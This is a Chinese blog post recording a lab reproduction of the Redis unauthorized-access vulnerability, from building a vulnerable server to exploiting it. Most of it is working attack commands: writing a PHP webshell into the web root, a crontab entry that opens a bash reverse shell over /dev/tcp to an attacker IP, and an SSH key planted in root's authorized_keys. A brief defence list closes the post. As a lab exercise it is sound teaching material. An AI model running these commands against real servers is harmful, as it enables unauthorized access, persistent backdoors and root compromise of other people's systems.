WHCSRL 技术网

redis 未授权访问漏洞

漏洞复现记录--2

目录

一、实验相关配置

1.在靶机解压编译redis(编译需要gcc环境,yum -y install gcc)

2.进入提示的src目录安装redis

3.配置漏洞环境

4.攻击机主机发现

5.端口扫描(要关闭靶机防火墙 iptables -F)

6.版本信息扫描

7.攻击机安装redis

8.直接无密码连接 ./redis-cli -h 192.168.129.219

二、攻击姿势

1.利用redis写入webshell

2.使用crontab反弹shell

3.利用“公私钥”验证进行ssh登陆

三、防御姿势

参考


一、实验相关配置

实验环境 redhat-6.5(靶机) kali (攻击机)

1.在靶机解压编译redis(编译需要gcc环境,yum -y install gcc)

  1. tar xzf redis-4.0.11.tar.gz
  2. cd redis-4.0.11
  3. make

2.进入提示的src目录安装redis

至此,安装成功

3.配置漏洞环境

  • Redis由于配置不当,导致攻击者可以经过未授权访问内部数据,造成敏感信息的泄露,也可以执行恶意命令flushall来清空所有数据;还可以通过eval执行lua代码或数据备份功能,在磁盘写入后门文件。
  • Redis以root身份运行时,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

1> 为了方便操作,将服务端和客户端复制到 /usr/bin

cp redis-server /usr/bin

cp redis-cli /usr/bin

将配置文件复制到 /etc

cp redis.conf /etc

 

2> 修改配置文件,允许远程访问,默认端口是6379,没有密码,这时候会导致未授权访问

vim /etc/redis.conf

注释bind ,允许除本机外的ip登陆redis服务

关闭保护模式,允许远程连接

 保存退出

3> 启动redis-server服务 (redis-server /etc/redis.conf)

4.攻击机主机发现

5.端口扫描(要关闭靶机防火墙 iptables -F)

6.版本信息扫描

7.攻击机安装redis

已经知道版本,直接下载,解压,编译

  1. wget http://download.redis.io/releases/redis-4.0.11.tar.gz
  2. tar xzf redis-4.0.11.tar.gz
  3. cd redis-4.0.11
  4. make

 再安装,make install

8.直接无密码连接 ./redis-cli -h 192.168.129.219

成功后可以进行操作,redis状态查询

二、攻击姿势

1.利用redis写入webshell

利用条件

  • 靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
  • 开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限 (我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)
  1. config set dir /var/www/html/
  2. config set dbfilename phpinfo.php
  3. set x " <?php phpinfo();?> "
  4. save
  5. //redis写入文件内容本身会产生很多垃圾数据,前后需要 来和垃圾数据区别开

 访问看看,写入成功(这里可能会出现解析失败,那是因为靶机没有php环境,yum install php,然后重启apache)

 那就可以直接写入一句话,蚁剑连接

 

2.使用crontab反弹shell

利用条件:redis以root权限运行

  1. set xxx " */1 * * * * /bin/bash -i>&/dev/tcp/192.168.129.129/4444 0>&1 "
  2. config set dir /var/spool/cron
  3. config set dbfilename root
  4. save

/var/spool/cron/这个目录是以账号来区分每个用户自己的执行计划

 每过一分钟,root会向攻击者ip:4444反弹自己的shell

3.利用“公私钥”验证进行ssh登陆

利用条件:

  • Redis服务使用root账号启动
  • 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

1> 创建公私钥对

2> 然后这里就会产生一个公私钥对的隐藏文件

3> 将公钥内容传过去

  1. config set dir /root/.ssh/
  2. config set dbfilename authorized_keys
  3. set xx " id_rsa_pub里的内容 "
  4. save

4> 登陆成功(-i 后跟id_rsa的路径)

三、防御姿势

  • 修改默认端口
  • 设置密码认证
  • 尽量以低权限运行Redis服务

参考

Redis未授权访问漏洞利用及防护措施(非常详细)_7Riven's blog-CSDN博客_redis未授权访问漏洞利用

10.Redis未授权访问漏洞复现与利用 - bmjoker - 博客园

crontab 详细用法 定时任务 - 四海骄阳 - 博客园

推荐阅读